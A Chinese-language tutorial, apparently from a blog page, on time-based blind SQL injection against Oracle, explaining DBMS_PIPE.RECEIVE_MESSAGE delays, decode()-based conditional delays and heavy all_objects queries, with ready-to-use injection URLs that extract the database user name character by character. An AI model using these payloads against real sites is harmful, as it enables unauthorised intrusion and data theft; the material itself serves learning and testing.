0x00 前言

oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;

oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

0x01 DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

延迟盲注中的应用:

http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

如果页面延时10秒返回,即存在注入。

来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:

DBMS_PIPE.RECEIVE_MESSAGE (

pipename     IN VARCHAR2,

timeout      IN INTEGER      DEFAULT maxwait)

RETURN INTEGER;

可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)

0x02 decode函数延时盲注

decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。

在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --

当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:

(select count(*) from all_objects)

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

通过这种明显时间差也能判断注入表达式的结果。

oracle 布尔盲注,Oracle基于延时的盲注总结相关推荐

  1. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  2. SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

    在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...

  3. SQL注入——基于时间的盲注(九)

    本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...

  4. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  5. oracle客户端工具_Oracle 发布基于 VS Code 的开发者工具,轻松连接 Oracle 数据库

    在之前的文章中,我们提到了亚马逊.谷歌.IBM 等大厂都上了 Visual Studio Code 的船. 今天(北京时间 2019 年 6 月 20 日),甲骨文也上了 VS Code 的船,发布了 ...

  6. oracle optimizer_features_enable,Oracle Optimizer:迁移到使用基于成本的优化器—–系列2.1-数据库专栏,ORACLE...

    oracle optimizer:迁移到使用基于成本的优化器-–系列2.1 系列之二包含影响优化器选择执行计划的初始化参数和oracle内部隐藏参数,合理设置这些参数对于优化器是相当重要的. 6.影响 ...

  7. mysql延迟注入br,实验3—SQL注入漏洞的攻击与防御(基于时间延迟的盲注)

    1.实验名称 SQL报错注入 2.实验环境 1.攻击机系统环境:Windows 7/8/10 2.浏览器:Firefox 53.0.2(64位) 3.浏览器插件HackBar 1.6.3.1 3.实验 ...

  8. SQL注入——基于时间的盲注(sqli-labs less9)

    一.基于时间得盲注 适用场景:没有数据回显,条件正确与否结果一样 利用方式:构造判断条件,添加sleep,逐个猜测(盲猜) 1.所需语法与函数 IF表达式 IF( expr1 , expr2 , ex ...

  9. 生产上oracle扩展表空间,oracle基于裸设备(raw device)扩充表空间

    首先在oracle中查询表空间的使用情况,确认是哪个表空间不足. select df.tablespace_name "Tablespace",df.bytes/(1024*102 ...

最新文章

  1. linux下如何修改系统时间
  2. FPGA之道(60)时空变换之空域优化
  3. POJ 2054 Color a Tree (贪心)
  4. 电脑内部录音教程Virtual Audio Cable使用教程
  5. 认识Mahout下的云计算机器学习
  6. 敏捷数据科学pdf_敏捷数据科学数据科学可以并且应该是敏捷的
  7. php fpm在哪配置,php7的php-fpm.conf文件在哪里
  8. mybatis不等于某个字符串的值_MyBatis 的 4 个妙用,别再踩坑了!
  9. Linux无线网络文件传输慢,在Deepin 20下QQ和TIM不能下载上传文件及无线wifi速度慢的解决...
  10. php 过滤微信符号昵称,PHP方法处理微信昵称特殊符号过滤_后端开发
  11. 计算机 在哪看是什么32位,如何查看自己的电脑是32位的还是64位
  12. 实验三 类与对象的定义和使用
  13. 网络故障检查、PING命令使用(实测)
  14. java 周次_JAVA计算学校学期周次
  15. Anaconda navigator打不开,一直卡在loading application
  16. 我辛辛苦苦做了一个月的项目,组长年底用来写了晋升PPT
  17. 模态分析中的阶数理解
  18. csdn markdown编辑器设置字体大小和颜色换行
  19. 9 个建议,助你度过寒冬
  20. 基于 ESP8266 的智能家居开源解决方案 【文章结尾有资料】

热门文章

  1. QT使用中的一些记录
  2. 很全的路由器默认初始密码集合.txt_UpSet——集合关系可视化神器
  3. c++卸载工具_win7系统如何卸载office2007兼容包
  4. C++ set insert的返回值
  5. 数据预测之BP神经网络具体应用以及matlab实现
  6. 图像处理与图像识别笔记(三)图像增强1
  7. PCA对特征点描述子降维
  8. 吴恩达斯坦福大学机器学习 CS229 课程学习笔记(一)
  9. React Native实例之房产搜索APP
  10. CompletableFuture详解~thenAccept